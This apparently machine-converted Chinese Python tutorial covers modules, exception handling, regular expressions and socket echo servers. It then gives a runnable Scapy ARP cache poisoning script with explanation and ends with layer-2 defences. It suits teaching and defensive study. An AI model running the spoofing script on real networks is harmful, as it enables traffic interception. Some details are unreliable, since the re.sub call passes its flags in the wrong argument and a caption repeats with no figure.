Python 的模組系統允許開發者有效地重複利用程式碼,提升開發效率。透過 import 關鍵字,可以匯入標準函式庫或自定義模組,並使用其中的函式和類別。例外處理機制則確保程式在遇到錯誤時能正常執行,避免當機。try/except 區塊能捕捉特定型別的例外,並執行相應的處理邏輯。正規表示式則提供強大的字串處理能力,適用於複雜的搜尋和替換操作。網路通訊方面,Sockets 作為作業系統的核心介面,負責管理網路連線。理解 Sockets 的運作原理對於網路攻擊與防禦至關重要。文章以 echo 伺服器和客戶端為例,展示了基本的 Sockets 程式設計。更進一步,利用 Scapy 這個 Python 函式庫,可以生成和操控網路封包,進行網路攻擊測試,例如 ARP Cache Poisoning。最後,文章也簡述了動態 ARP 檢查、縮短 ARP 快取時間以及驗證 MAC 地址與 IP 地址對應等層級 2 防禦策略。

Python 模組系統與例外處理

在 Python 開發中,模組系統是一個不可或缺的工具,因為它讓開發者可以重複利用已經存在的程式碼,而不必從頭開始編寫。此外,例外處理是確保程式穩定性和可靠性的關鍵技術。玄貓將探討這兩個主題,並提供實際應用案例。

模組系統

Python 的模組系統非常強大且靈活,可以大幅提升開發效率。Python 的社群已經為各種問題開發了大量的模組,開發者可以免費下載並應用於自己的專案中。

基本使用方法

要使用模組,可以使用 import 關鍵字來引入。以下是一些基本的使用方法:

import sys
print(sys.version)
sys.exit(1)

如果想要直接使用模組中的函式而不需要加上模組名稱,可以這樣做:

from sys import exit
exit(1)

模組匯入的特殊方法

還有一種方法可以一次匯入模組中的所有函式,但玄貓不建議這樣做,因為它可能會導致命名衝突,使得程式碼難以除錯:

from sys import *
exit(1)

標準函式庫

Python 的標準函式庫提供了許多內建模組,涵蓋了作業系統、檔案系統、網路存取等多種功能。例如:

  • sysos:用於作業系統和檔案系統。
  • urllibhttphtml:用於 HTTP 和網頁存取。
  • ftplib:用於 FTP。
  • telnetlib:用於 Telnet。
  • smtplib:用於 SMTP。

這些模組的詳細檔案可以線上上檢視 doc.python.org,或使用命令列工具 pydoc <module> 檢視。

自行撰寫模組

撰寫自己的模組其實相當簡單。只需要建立一個目錄(例如 mymodule),並在其中放置一個名為 __init__.py 的檔案。這個檔案告訴 Python 這個目錄應該被視為一個套件。接著在目錄中建立另一個檔案 test.py,並在其中定義一個函式 add()

# test.py
def add(a, b):
    return a + b

現在就可以在其他程式中使用這個模組了:

from mymodule.test import add
print(add(1, 2))

內容解密:

上述範例展示瞭如何建立和使用自定義模組。首先,我們建立了一個名為 mymodule 的目錄,並在其中放置了一個名為 __init__.py 的檔案。這樣就告訴 Python 這個目錄應該被視為一個套件。接著,我們在同一目錄中建立了一個名為 test.py 的檔案,並在其中定義了一個簡單的函式 add()

在其他程式中,我們可以透過 from mymodule.test import add 的方式匯入這個函式,並直接使用它來進行加法運算。

例外處理

例外處理是確保程式穩定性和可靠性的重要技術。當程式遇到異常情況時,例如硬碟滿了、檔案無法存取或網路連線中斷等,我們需要捕捉並處理這些異常,以避免程式當機。

基本語法

要捕捉例外,可以使用 try/except 塊來包裹可能會出錯的程式碼。以下是一個簡單的例子:

try:
    fh = open("somefile", "r")
except IOError as e:
    print("無法讀取 somefile: " + str(e))

內容解密:

在這段程式碼中,我們試圖開啟一個名為 somefile 的檔案。如果因為某些原因(例如檔案不存在或許可權不足)無法開啟檔案時,Python 會丟擲一個 IOError 例外。我們使用 except IOError as e: 捕捉這個例外,並將錯誤訊息儲存在變數 e 中。接著我們輸出錯誤訊息。

正規表示式

正規表示式是一種強大的工具,可以用來進行複雜的搜尋和替換操作。然而,如果不小心設計正規表示式可能會導致難以除錯或潛在的安全風險。

基本使用方法

要使用正規表示式,首先需要匯入內建的 re 模組。以下是一些基本操作:

import re
test = "<a href='https://www.codekid.net'>Click</a>"
match = re.search(r"href=[\'\"](.+)[\'\"]", test)
print(match.group(1))

內容解密:

在這段程式碼中,我們首先匯入了內建的 re 模組。接著我們定義了一個包含 HTML 鏈結的字串變數 test

然後我們使用正規表示式搜尋字串中的鏈結地址部分。正規表示式 r"href=[\'\"](.+)[\'\"]" 中的圓括號表示分組捕捉,. 表示任意字元,而 .+ 則表示至少出現一次任意字元。

搜尋結果會傳回一個比對物件(match object),而 .group(1) 則會取出第一個分組捕捉到的結果(即鏈結地址)。

re.sub(match.group(1), "http://www.springer.com", test, re.DOTALL | re.MULTILINE)

內容解密:

最後我們使用 re.sub() 函式將比對到的鏈結地址替換為新的地址 “http://www.springer.com” 。選項 re.DOTALLre.MULTILINE 則分別表示比對所有行以及多行模式。

常見正規表示式語法

以下是一些常見的正規表示式語法及其含義:

| 字元 | 意義 |
|------|------|
| .    | 比對任何單一字元 |
| \d   | 比對任意數字 |
| \D   | 比對非數字字元 |
| \w   | 比對字母、數字或底線 |
| \W   | 比對非字母、數字或底線 |
| \s   | 比對空格或 Tab |
| [a-z] | 比對 a 到 z 範圍內的一個字元 |
| *    | 比對前面的字元零次或多次 |
| +    | 比對前面的字元一次或多次 |
| ?    | 比對前面的字元零次或一次 |
| {1,4} | 比對前面的字元至少一次但最多四次 |

此圖示展示了常見正規表示式語法及其含義。

此圖示展示了常見正規表示式語法及其含義。


### 標準函式庫提供強大功能

透過標準函式庫中的各種功能和技術實踐建議來探索 Python 中更深層次功能和更有效率去利用各種特點來完成需求;如適當運用標準函式庫中的功能、有效管控例外處理及掌握正規表示式等技術就能夠讓你在開發上更加順暢且高效;透過這些技術建議將有助於提高你對 Python 的理解力和運用能力。

## Sockets 與網路通訊

在網路通訊中,Sockets 是作業系統提供的核心介面,負責管理與網路之間的通訊。無論是TCP/IP還是其他網路協定,所有的網路行為最終都會經過Sockets進入核心空間。大多數應用程式開發者現在使用高層次的函式庫來隱藏底層的Sockets程式設計細節,但瞭解並能操作Sockets仍然是網路攻擊與防禦的基本技能。

為了簡化範例並同時展示伺服器和客戶端的實作,玄貓將示範一個簡單的echo伺服器,這個伺服器會回傳它接收到的所有資訊。

### Python 基礎:Echo Server 與 Client

以下是一個基本的echo伺服器與客戶端範例。這些範例展示瞭如何使用Python進行基本的網路通訊。

```python
#!/usr/bin/env python3

import socket

HOST = "localhost"
PORT = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

conn, addr = s.accept()
print("Connected by", addr)

while True:
    data = conn.recv(1024)
    if not data:
        break
    conn.send(data)

conn.close()

內容解密:

  • socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個新的TCP Sockets。
  • s.bind((HOST, PORT)):將Sockets繫結到本機主機和指定的埠(這裡是1337)。
  • s.listen(1):讓Sockets進入監聽模式,允許一個連線。
  • conn, addr = s.accept():等待客戶端連線,並傳回一個新的Sockets物件和客戶端地址。
  • while True::進入無限迴圈,持續接收和傳送資料。
  • data = conn.recv(1024):從客戶端接收最多1024位元組的資料。
  • if not data::如果沒有接收到資料,跳出迴圈。
  • conn.send(data):將接收到的資料回傳給客戶端。
  • conn.close():關閉連線。

這段程式碼展示瞭如何建立一個簡單的echo伺服器,它會回傳所有接收到的資料。以下是對應的echo client範例:

#!/usr/bin/env python3

import socket

HOST = "localhost"
PORT = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

s.send("Hello, world".encode())
data = s.recv(1024)

s.close()
print("Received", data.decode())

內容解密:

  • socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個新的TCP Sockets。
  • s.connect((HOST, PORT)):連線到指定的主機和埠。
  • s.send("Hello, world".encode()):將字串轉換為位元組並傳送給伺服器。
  • data = s.recv(1024):從伺服器接收最多1024位元組的資料。
  • s.close():關閉連線。
  • print("Received", data.decode()):將接收到的位元組資料轉換回字串並印出來。

Python 應用:Scapy 與層次2攻擊

Scapy 是一個強大且易於使用的Python函式庫,可以用來生成和操控網路封包。Scapy 支援所有OSI層次的封包生成,從ARP、IP/ICMP到TCP/UDP、DNS/DHCP等協定。Scapy 的強大功能使得它成為進行網路攻擊與測試的一個理想工具。

以下是如何使用Scapy 進行ARP Cache Poisoning 攻擊:

#!/usr/bin/env python3

import sys
import time
from scapy.all import sendp, ARP, Ether

if len(sys.argv) < 3:
    print(sys.argv[0] + ": <target> <spoof_ip>")
    sys.exit(1)

iface = "wlp2s0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(1)

內容解密:

  • import sys: 匯入系統模組以處理命令列引數。
  • import time: 匯入時間模組以控制時間間隔。
  • from scapy.all import sendp, ARP, Ether: 匯入Scapy中的sendp、ARP和Ether函式。
  • if len(sys.argv) < 3:: 檢查命令列引數數量是否足夠。
  • iface = "wlp2s0": 指定網路介面名稱(這裡假設為wlp2s0)。
  • target_ipfake_ip: 分別取得目標IP和偽造IP從命令列引數中。
  • ethernet = Ether(): 建立一個Ethernet封包物件。
  • arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at"): 建立一個ARP封包物件,指定目標IP和偽造IP,並設定操作碼為is-at(ARP回應)。
  • packet = ethernet / arp: 組合Ethernet和ARP封包物件成為完整的封包。
  • while True:: 進入無限迴圈,持續傳送封包。
  • sendp(packet, iface=iface): 使用sendp函式傳送封包到指定介面(這裡傳送在層次2)。
  • time.sleep(1): 每隔一秒傳送一次封包。

層次2攻擊概述

層次2攻擊主要針對乙太網協定進行攻擊。以下是一些常見的層次2攻擊方式:

ARP Cache Poisoning 攻擊

ARP Cache Poisoning 攻擊利用ARP協定中的漏洞,讓攻擊者能夠偽造ARP回應封包,將流量重定向到攻擊者控制的主機。以下是ARP Cache Poisoning 攻擊原理:

  1. 攻擊者偵測到目標主機在請求特定IP地址對應的MAC地址時,
  2. 攻擊者主動傳送偽造的ARP回應封包,
  3. 偽造的ARP回應中包含攻擊者自己的MAC地址,
  4. 目標主機收到這些回應後會更新其ARP快取,
  5. 隨後所有要傳送給該IP地址的流量都會被重定向到攻擊者主機。

層次2防禦策略

要防範層次2攻擊,可以採取以下策略:

動態ARP檢查 (Dynamische ARP Inspection - DAI)

DAI 是一種根據交換器的一種防禦技術。它會檢查每個ARP請求和回應封包,確保其合法性。只有符合特定條件(例如來源MAC與IP地址配對)才會被允許進入網路。

ARP快取時間 (ARP Cache Timeout)

縮短ARP快取時間可以減少快取中毒攻擊影響範圍。如果快取時間較短,則受害者主機更快地重新整理快取。

驗證 MAC 地址與 IP 地址對應

在某些情況下可以使用驗證技術來確保MAC地址和IP地址之間的一致性。例如DHCP Snooping可以記錄每台裝置所分配到IP地址及其對應MAC地址。